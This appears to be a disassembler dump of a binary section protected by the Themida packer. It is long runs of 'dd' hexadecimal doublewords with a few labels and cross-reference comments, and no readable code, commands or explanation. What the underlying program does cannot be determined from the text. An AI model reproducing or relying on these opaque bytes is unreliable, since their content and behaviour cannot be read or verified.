800F0000h, 3, 3CF38B66h dd 48830F61h, 6A000002h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 19042444h, 45000000h, 4363C355h, 0BD71D075h dd 0DE9h, 0A8E50E00h, 51C459F0h, 0D71F07F5h, 0B60FE656h dd 0F6BF0FD8h, 0CBEE8166h, 6BA41h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 514899C3h dd 0C4436431h, 66C38B23h, 0E8C1F88Bh, 0D0BFBE04h, 0F7664BACh dd 15BD89E2h, 2B061505h, 50006AD8h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1A04h, 0C3504000h, 9E51DF6Bh, 0BF7F7AD4h dd 63D70268h, 899BD8Bh, 8B580615h, 1514D9BDh, 35858906h dd 2B061524h, 88880FD8h, 6A000001h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 7294C355h dd 0C2063A82h, 79DE17EDh, 0D3D7E681h, 7B9273Dh, 6A000000h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 9048C350h, 72581C3h, 68B0F4Fh, 8B000000h dd 150BA1BDh, 0C18306h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 9AC35343h, 0C66F1704h, 2B5348BBh, 15078DB5h dd 0FD93B06h, 0F686h, 0BD0B5000h, 6152119h, 0D1BD8B5Fh dd 66061507h, 0C1F6D98Ch, 0B1840F04h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0D51BC355h, 0B824F01Dh, 18A195FFh, 6A0615h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 0C00A6AC3h, 0E9BFC366h, 6, 0EA6BC9C4h, 6A5B0491h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 0A953C356h, 0DB5CF494h, 72AF3B2Ah, 0BD8BC32Bh, 61517F9h dd 8343Dh, 25860F00h, 0F000000h, 585h, 7A40BF00h, 40E93479h dd 66000000h, 0E1FBDE81h, 0BE9h, 8A2C1F00h, 6EAC22A1h dd 905287B4h, 6AC08Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 8B9852C3h, 150A79BDh, 6D9D8906h dd 8B06151Eh, 6AD88BC3h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 5EE3C352h, 2E53E41Fh dd 9EBF6639h, 9D85C738h, 77061507h, 6A750BC3h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 9BF7C357h, 0FD0041DFh, 8BD84F64h, 1533FDBDh, 0E9C08B06h dd 6, 93297BF4h, 0BD81A47Ah, 61508ADh, 7D0h, 32850Fh, 6A0000h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h dd 8AC945C3h, 0A7CC8CBCh, 0A5B5898Eh, 0FF061526h, 1508AD85h dd 0F9B70F06h, 8ADB5FFh, 0B58B0615h, 6150391h, 2E2195FFh dd 0BF0F0615h, 78B890F2h, 6A123456h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0F618C356h dd 0DF979D8Dh, 70E90618h, 0E8FFFFF8h, 8, 87B0A7EEh, 0C3A61B5Eh dd 2C918589h, 0B58B0615h, 6151DC9h, 0FC18B5Eh, 686h, 5DBD8900h dd 0EB061513h, 4, 51006A00h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 1FEFCFB3h, 8999D50Fh dd 1521E195h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 0BCBFB4C6h dd 6E3DFF93h, 8DF78B9Bh, 15279D85h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 36DDB934h dd 8E9E190h, 0AE000000h, 0F3B14738h, 0E9099767h, 0Bh, 0AAF08318h dd 7EEED8B1h, 90EAE3A8h, 905F5750h, 1D6DBD8Bh, 6A0615h dd 160DBD31h, 6A0615h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 0F6C35141h, 0B589C029h, 61511E5h, 0E1B7858Dh dd 0F98B0618h, 0F4E7D681h, 0C0832156h, 0F88B6605h, 0EE8h dd 5FE74400h, 0AFA6AFEFh, 0CE558D77h, 5FB8A7E6h, 850F5390h dd 0 a_pYeiwrj db '_P¿YEiWj',0 dw 0E855h dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 77C35545h, 8B66A178h dd 0F006AFBh, 0B589FBB7h, 6152F15h, 6A006Ah, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0E9CA23C3h dd 6, 5372D7CBh, 95FF743Ch, 6152679h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 3DC35646h, 554D1FFDh, 2C898501h dd 9D8D0615h, 6189C15h, 2264D781h, 0B5896C5Ch, 6151335h dd 0BD8BD3FFh, 6152665h, 153585FFh, 6A0615h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 160424h, 53430000h, 49C411C3h dd 0D2E9F78Bh, 0E800000Dh, 0 dd 0C1ED815Dh, 6A0618E1h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 384DC352h, 9964971Ch dd 759D2999h, 81061517h, 1508ADBDh, 7D006h, 6B860F00h dd 6A000001h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 17042444h, 46000000h, 0DC14C356h, 81663425h, 8BF5E4DEh dd 1504E19Dh, 0B1A1BF06h, 8B5265A3h, 151D1DB5h, 0E3815E06h dd 100h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ah, 0BDC35646h, 43D987C1h, 0AE9DDABh, 90000000h, 0C7BB1366h dd 0B0E3CEC8h, 0FDB0BA3h, 0AE85h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 4EEA6669h dd 8BF6103Eh, 0EEBD83F3h, 618DFh, 30840Fh, 0CE810000h dd 57E32747h, 82E9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1704h, 0C3534300h, 594C1094h, 9AD9589h, 85C70615h dd 618DFEEh, 1, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 1BC35242h, 0F7182AE6h, 2759BD8Bh, 0E9520615h, 0Bh dd 0EB22C6F4h, 22EB0BDBh, 5FCF511Eh, 2F81B58Bh, 10E90615h dd 0C7000000h, 18DFEE85h, 6, 0C9B58900h, 8D061509h, 1504E19Dh dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0C2D31900h, 6C6E34F8h, 23819913h, 0FFFFFEFFh dd 20F8EF81h, 8C6653C3h, 248ABFDBh, 0C3F65565h, 2D840F04h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 14042444h, 40000000h, 0FFE2C350h, 1518A195h, 0F28B6606h dd 23BE6690h, 0FC90504Ah, 3DAE9h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 362714Fh, 8C18098Dh dd 31F84A48h, 153371BDh, 8900B006h, 151D25B5h, 0F870E606h dd 6A71E4h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h dd 51410000h, 6483ECC3h, 8960D845h, 1502BDBDh, 0F9BD8B06h dd 61061511h, 6AD8B60Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 15042444h, 41000000h, 9DBCC351h, 6BAh, 5E85000h dd 0A000000h, 37651E4Eh, 0A41BE66h, 0B58B5F5Eh, 6151661h dd 0BD8BC38Bh, 61520F5h, 6A04E8C1h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 19042444h, 40000000h, 21BCC350h dd 7B5528D2h, 5E8h, 0C321AF00h, 0BD8B95E0h, 6152395h, 0E2F7665Eh dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 19C35343h dd 0B919589h, 0BD890615h, 6150C75h, 8B66D82Bh, 0BF6693F1h dd 0F50D5EDh, 2584h, 0FE800h, 72FE0000h, 6C26F834h, 94039B8Bh dd 0FB5A44D6h, 0AE835h, 54D20000h, 66DEBA0Ch, 757BA001h dd 6A935F5Fh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0D6F2C356h, 372F1D9Ah, 0B92A2124h dd 8ADB5FFh, 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 7EE2A5C3h, 0FC604434h, 17718D33h dd 0FF610615h, 152E2195h, 0FBBF0F06h, 70E600B0h, 8D2971E4h dd 615005Dh, 830F613Ch, 227h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 7CC35040h, 0B60F2DF0h, 6BAD8h dd 8E80000h, 45000000h, 0CE87A01Dh, 0E882FAC0h, 12h, 6DD12A89h dd 45480D73h, 241E3F24h, 0C364B19Eh, 5E517735h, 0C38B5E5Fh dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 6EC35747h dd 8FE03DF1h, 54FDB0BDh, 0DF816681h, 0B5032F20h, 61508C5h dd 6A04E8C1h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0BE67C353h, 153473F4h, 0BE2F766h dd 150589B5h, 58D82B06h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 90C35646h, 0BF0F7E87h, 0FD82BF7h, 14E88h dd 7B900h, 8B660000h, 0C183F2h, 3A7694BFh, 0FD93B1Eh, 13686h dd 0FABE6600h, 0D98C66D7h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 5EC35040h, 0EF4A5B7Bh, 8BED99A0h, 152709B5h dd 4C1F606h, 0F5840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 0CC2AD2C3h, 56ABFEE5h dd 0A195FF5Eh, 6A061518h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 8166C355h, 19D95DEEh dd 6A5B77h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h dd 50400000h, 0FC431CC3h, 0B50B199Eh, 6150341h, 9E8h, 0D5DDBE00h dd 0D8A3C5EFh, 0AE96620h, 0A8000000h, 0F3F08240h, 571DD274h dd 0C32B5E36h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 18h, 7C35040h, 8A8BBDC0h, 18BB6660h, 558D3126h, 61061525h dd 8343Dh, 2C860F00h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 14042444h, 45000000h, 5637C355h, 5EFEB70Fh dd 0EE9h, 23C78100h, 8B04269Bh, 0DD9589C0h, 8B061519h dd 51D88BC3h, 7459BE66h, 7185C75Eh, 17061528h, 6A77F7F1h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 16042444h dd 42000000h, 0C36FC352h, 0F1BD8BD6h, 89061517h, 1520A58Dh dd 6AC08B06h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 3C89C357h, 9680CF81h, 0BD814300h dd 61508ADh, 7D0h, 1D850Fh, 0BD8B0000h, 6150165h, 8AD85FFh dd 0CE90615h, 47000000h, 0EB5FC3C6h, 10067846h, 0FFA1506Eh dd 1508ADB5h, 0F28B6606h, 2E2195FFh, 6A0615h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 57F521C3h dd 6D97EB5Eh, 6A4090E9h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1C042444h, 43000000h, 3425C353h, 0A50AF185h dd 0E87EFA84h, 11h, 0D2B84127h, 301120D9h, 23B1979Fh, 15B4C4F6h dd 0F9BF0F86h, 29BD835Fh, 6150Ah, 0B2840Fh, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 5C4F28C3h, 591D7424h, 1E01BD83h, 0F000615h, 8384h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 895177D4h, 1506C185h, 85295F06h, 61503C5h, 0A2995FFh dd 0BF660615h, 0C00B2B3Bh, 46840Fh, 0FA8B0000h, 4F9E8D8Dh dd 7E90615h, 58000000h, 0D36532A6h, 5B8516Eh, 3000000h dd 150D99B5h, 6AE1FF06h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 7C1DC355h, 0BD89C5E1h dd 6151D41h, 17F5BD83h, 0F000615h, 60984h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h dd 8229B83Eh, 1BD837Fh, 6151Eh, 5DC840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 5C5A07C3h, 2856741h, 0F38B1975h, 7118D8Dh, 0BD290615h dd 6152FC1h, 1C75F57h, 44B27C84h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 5C35646h, 1985BD8Bh dd 9D010615h, 6150AE9h, 0CFCB0181h, 89501499h, 1502A9BDh dd 0B58B5F06h, 615067Dh, 340441C7h, 0E8CE706Bh, 7, 196C3AFh dd 0E88D3670h, 5, 0D0F57096h, 21BD8BF1h, 5F061503h, 441815Fh dd 31D6D710h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 0E5C35747h, 810F9E8Eh, 1, 8B6656F9h, 0BD895FF1h dd 6150C51h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1D0424h, 53430000h, 0FD5F45C3h, 0B6660DF9h, 5336C0BAh dd 214DB501h, 8B5F0615h, 11858DFEh, 0F061507h, 688h, 0B5B58900h dd 9006152Ah, 50F78B66h, 786ABF60h, 38BB4E3Bh, 61261FF2h dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 17049A77h, 48BBC66Fh, 0F18B6653h, 17F595FFh dd 6A0615h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 757E85C3h, 0B18589ADh, 8D06152Ch, 1507118Dh dd 31BE6606h, 1C772h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 0F9C355h, 4E7DC405h dd 0FAB70F8Fh, 441C7h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 1C3FC355h dd 0EE92Ch, 0C4220000h, 0D211D220h, 1AFE7278h, 8938D086h dd 840FC00Bh, 50h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Dh, 0CBC35242h, 0BC8B0F35h, 0E309263Fh, 9E8D8D55h dd 0F06154Fh, 0C80h, 6820F00h, 89000000h, 152A3D9Dh, 5B806h dd 9D310000h, 61510A9h, 0B58BE1FFh, 615130Dh, 7118D8Dh dd 0A7BE0615h, 8B7EEE20h, 7C01C7F9h, 8B44AA72h, 152879BDh dd 0CB018106h, 531499CFh, 2CA1BD89h, 0E95E0615h, 0Ah, 0B1077759h dd 0E13C8EB3h, 41C7EB05h, 78753C04h, 50006ACEh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1C04h, 0C3504000h, 0AB4B84D4h dd 799797C5h, 8E896h, 689A0000h, 0B86936C4h, 0B5897A2Ah dd 6151159h, 441815Eh, 31D6D710h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 6AC35242h, 1CFE9CD0h, 0B79B4FBDh dd 8D006A11h, 15071185h, 8298BF06h, 0E9503F92h, 0Fh, 0F0048D14h dd 3FF10025h, 5C2CB905h, 894F4913h, 0B58B2404h, 6152AB5h dd 17F595FFh, 0F98B0615h, 7118D8Dh, 6A0615h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0FCFC37C3h dd 1C7h, 0F510000h, 48Ah, 61BE6600h, 41C75F54h, 4, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h dd 3CDF60D6h, 0D318D640h, 0FC00B53h, 6084h, 9E8D8D00h dd 0BE06154Fh, 5D8F7A11h, 5B8h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 8817F742h dd 3D950907h, 2B06152Dh, 152615B5h, 6AE1FF06h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 8FAFC355h, 0E71EC012h, 118D8D89h, 6A061507h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h dd 7C64C351h, 95B58B7Eh, 0C7061511h, 0CA95A501h, 56006A54h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 2570E691h, 0FE980h, 0D9460000h, 0DA6EBA3Ch, 77B5B91Ch dd 0CF13FA13h, 0CB0181CFh, 291499CFh, 152AC9BDh, 441C706h dd 0CE5F5969h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 18h, 0D6C35141h, 2C9CD08h, 2B3DBD8Bh, 8B0F0615h, 3 dd 81F0B70Fh, 0D7100441h, 6A31D6h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 35DE3BC3h, 3B319EA4h dd 89006A2Ch, 1507ADB5h, 0D3BE6606h, 11858DE6h, 6A061507h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0FC7EC352h, 3B888B8Bh, 9BE41B5h, 1511D9B5h dd 8B0F9006h, 0 dd 10E950h, 50370000h, 689A5350h, 0B86936C4h, 52F57A2Ah dd 6A9033E6h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0FBE9C356h, 0BA3BEF2h, 6CCAC8B3h dd 17F595FFh, 6A0615h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 65AADCC3h, 118D8DDBh, 6A061507h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 5FCCC353h, 0BE66603Ah, 8509ABDAh, 61528A5h dd 1C761h, 8B000000h, 151E19B5h, 441C706h, 0 dd 0BF98B66h, 3F840FC0h, 9000000h, 151365BDh, 9E8D8D06h dd 8906154Fh, 1519B99Dh, 5B806h, 0E1FF0000h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 6DC35646h, 3656A724h dd 0BF660C9Bh, 0CA030658h, 0FFF256E9h, 56006AFFh, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0B08CE0C4h, 89DD55F2h db 95h, 0D5h, 18h byte_5B89BB db 15h ; DATA XREF: Themida_:0057AB0Co dd 6AC18B06h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 1E1CC355h, 703D816Bh, 0EB4EC1D2h dd 0FE9h, 26BE100h, 0DAF1B56Bh, 0FCD986D5h, 0D57EE54Ch dd 4EBh, 4EBE0000h, 0F5AF3F1h, 189h, 858DFC00h, 615279Dh dd 1CB59D89h, 81660615h, 90FCE2EEh, 5E8h, 4856B100h, 8B57DAE4h dd 505F5EF2h, 0DCE78190h, 6A27F4A3h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0F8529A13h dd 0F1B70F5Eh, 0CE8006Ah, 31000000h, 0E2495C22h, 67172CFAh dd 29D1D48Bh, 151605B5h, 858D5E06h, 618F140h, 1A29B58Bh dd 0C0830615h, 0F6816605h, 0E890D80Eh, 9, 356584FEh, 0AC5E479h dd 0F525031h, 5A5E5331h, 0BF505F58h, 4227AD0Bh, 55006A90h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0B0BBB57h, 89496E3Bh, 151A6585h, 3DBD3306h, 6A061502h dd 0F98B6600h, 8D29006Ah, 6151945h, 267995FFh, 81660615h dd 8DD111E6h, 189C159Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1504h, 0C3574700h, 0B58BABB1h, 6151175h dd 6AD3FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h dd 53430000h, 135090C3h, 0F82085FDh, 0CD850150h, 5F061507h dd 153585FFh, 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 9B33DAC3h, 25CD8C6Bh, 59BD8BDBh dd 0E906152Ch, 882h dword_5B8B74 dd 0E8h, 0ED815D00h, 618F14Ah, 0D759D89h, 0BD810615h, 61508ADh ; DATA XREF: Themida_:0057B494o dd 7D0h, 168860Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 9D8B15C3h, 615108Dh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0AEC35242h dd 0E38122h, 6A000001h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 593FC351h, 0EB96DDD9h dd 0DB0B1E8Fh, 94850Fh, 0BD8B0000h, 6152DF5h, 0EFCBBD83h dd 0F000618h, 1184h, 99B58B00h, 0E9061505h, 0AAh, 21799501h dd 85C70615h, 618EFCBh, 1, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 48C35646h, 31DCE0F4h, 75E9h, 53006A00h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0BA7BFE5h, 880F18C7h, 1Ah, 0EE8h, 265E9800h, 0B47E623Ah dd 0CC9F5F17h, 89BE5DC8h, 15019D95h, 85C75F06h, 618EFCBh dd 0 dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 98C35242h dd 27A5FF4Bh, 0CCCC6300h, 8D0Fh, 9D8D0000h, 615108Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 6BC35141h, 2BDF8166h dd 0FF238163h, 66FFFFFEh, 8C66F18Bh, 53006ADBh, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 40B8EF92h dd 75329672h, 0F6F9DAC9h, 840F04C3h, 59h, 999B58Bh, 95FF0615h dd 61518A1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 19h, 0F8C35747h, 31D1C6C5h, 820F50E4h, 0 dd 6A240489h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 81AFC351h, 0C735BEEEh, 43BE930h dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 4A92E0C3h, 0DE9h, 0A765F00h, 0CEB40704h dd 3DE3B157h, 0B0F3EAh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 20C35040h, 8F0F8Fh, 0E6000000h, 68F0F70h dd 81000000h, 0F7CDEDD7h, 0F71E43Ah, 0B60FF2BFh, 52006AD8h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 5ADF4ECDh, 10E9h, 0F6DB8800h, 0A0F35C0Ch, 3E312BBDh dd 5AB64611h, 7BBF6065h, 0E97DA4BFh, 9, 9736FA0Ch, 48DB8A0Eh dd 6BA61F3h, 0E9000000h, 13h, 22AA4322h, 18C1F4A7h, 52EFCCD4h dd 41B4C048h, 8960E70Fh, 151CEDB5h, 0FC38B06h, 8Ch, 4E8C100h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F9C35545h dd 565F9860h, 8E8BD1Eh, 54000000h, 1699AB9Fh, 0FC15FB9h dd 68Fh, 0FDBD8B00h, 5F06150Ch, 89E2F766h, 15262D95h, 33D82B06h dd 150591BDh, 60605006h, 0CE9h, 0AA1DB700h, 0B24AC47Ch dd 63C294CFh, 3E9ABB96h, 60614901h, 0B6C88B66h, 896161D7h dd 6A241Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 84194BC3h, 42C434FEh, 0A9DF8166h, 0F38B66E1h dd 8ADB5FFh, 840F0615h, 6, 1719589h, 7E90615h, 50000000h dd 7FC1C585h, 95FF7B4Ah, 6152E21h, 1A458509h, 0B58B0615h dd 6151A21h, 6A00B0h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 6C7037C3h, 0CBDAC72Dh, 6DB50306h dd 52061529h, 55D78166h, 70E65E08h, 3425BD8Bh, 71E40615h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 91C35242h dd 1E59AA28h, 0DE90B9Eh, 0B0000000h, 86F9A44Eh, 399396F5h dd 9065B101h, 830F613Ch, 215h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 18h, 0FBC35141h, 0E1BDC699h, 0FD8B60Fh dd 1381h, 0EE900h, 154A0000h, 0AF4668FCh, 0A08C7017h, 0B294BF1Ch dd 0BAF18B66h, 6, 421B58Bh, 0C38B0615h, 19E9BD8Bh, 0E8C10615h dd 52006A04h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 0A6CA7A51h, 0F106D5Ch, 0FE2F766h, 585h dd 0E7CABE00h, 0D82B3276h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Dh, 0BDC35545h, 597F66A4h, 0EC11C499h, 6820FAEh dd 8B000000h, 15179DBDh, 0D82B5806h, 153880Fh, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0DF81F4C3h, 1FF9BEE6h, 7B9h, 0DE800h, 0B22B0000h, 0CF4993E6h dd 818377A5h, 0E9A451E5h, 0Ch, 0B62DB54Fh, 0F0232BF7h dd 2AAC7E0Ah, 0C1835Fh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 85C35040h, 12E9h, 7180FC00h, 0C69C38CDh dd 0C61BBE1Ah, 62EE745Fh, 3B6722EAh, 0CA860FD9h, 0F000000h dd 8501F2B7h, 615077Dh, 0F6D98C66h, 840F04C1h, 0A9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 82C35646h, 2AB6D626h dd 0DE9A9108h, 18A195FFh, 0BD890615h, 615177Dh, 7E85Bh dd 0AA8C0000h, 0FD2CC835h, 0CE9F8h, 0E9DE0000h, 49300B62h dd 0FB2F517Eh, 2B5F0B88h, 51006AC3h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1604h, 0C3514100h, 3D9344D5h dd 834h, 2F860Fh, 7E90000h, 0FB000000h, 290C794Dh, 2AE9240Eh dd 6A000000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 16042444h, 46000000h, 544EC356h, 0FC08B98h, 48Ch, 50BF6600h dd 8BC38B34h, 55006AD8h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 2635F074h, 10E87607h, 0C0000000h dd 422A5011h, 1EF7535Bh, 0C4B9ADECh, 53166131h, 585BD89h dd 5E5E0615h, 4E185C7h, 0D75D0615h, 14E91AA7h, 12000000h dd 89A6B170h, 0C99A5ABDh, 889D72D1h, 870515EDh, 8BB1535Dh dd 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h dd 0C3564600h, 86B28B85h, 0D953138h, 6606152Fh, 819BA2BEh dd 1508ADBDh, 7D006h, 32850F00h, 6A000000h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 4AB4C356h dd 8AD85FFh, 9E80615h, 0A7000000h, 0C9B3656h, 0EE39D653h dd 0ADB5FF5Fh, 6A061508h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1C042444h, 45000000h, 0A750C355h, 8207B2F2h dd 238745BDh, 151089B5h, 2195FF06h, 6006152Eh, 2ED9589h dd 0BD8B0615h, 6151109h, 6A9061h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 190424h, 55450000h, 0DF596DC3h, 0FFCD87Fh dd 684h, 1DB58B00h, 8B061507h, 151841BDh, 0F6BF0F06h, 6AFB8B66h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 0BAFAC357h, 54F06D3Ch, 0F56D56Ah, 0C87h dd 0F5BD8B00h, 0F061500h, 81h, 49958900h, 89061511h, 1515F9BDh dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 5A55F176h, 418D0942h, 6A061521h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 4CDFC357h, 0E9B87E7Eh, 6A760074h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 2B5EC355h dd 1AE22958h, 0FFABF0Fh, 2086h, 6E800h, 48CD0000h, 8E6B8D85h dd 10898589h, 0E95F0615h, 9, 68151E3Eh, 0D29C04E9h, 0F77EE955h dd 1CE9FFFFh, 44000000h, 462429h, 5 dup(0) dd 0E9000000h, 4F2h, 0B045B511h, 0E78EFE83h, 0A84DBD38h dd 0F085F57Bh, 0A64FBF43h, 0A307BAF1h, 6ACD6233h, 0A8041BFAh dd 65C65D38h, 0A7B720F5h, 9E0BF51Ch, 45F77816h, 96E7864Fh dd 9D3204C6h, 4FBF3CEDh, 0E5446D6Fh, 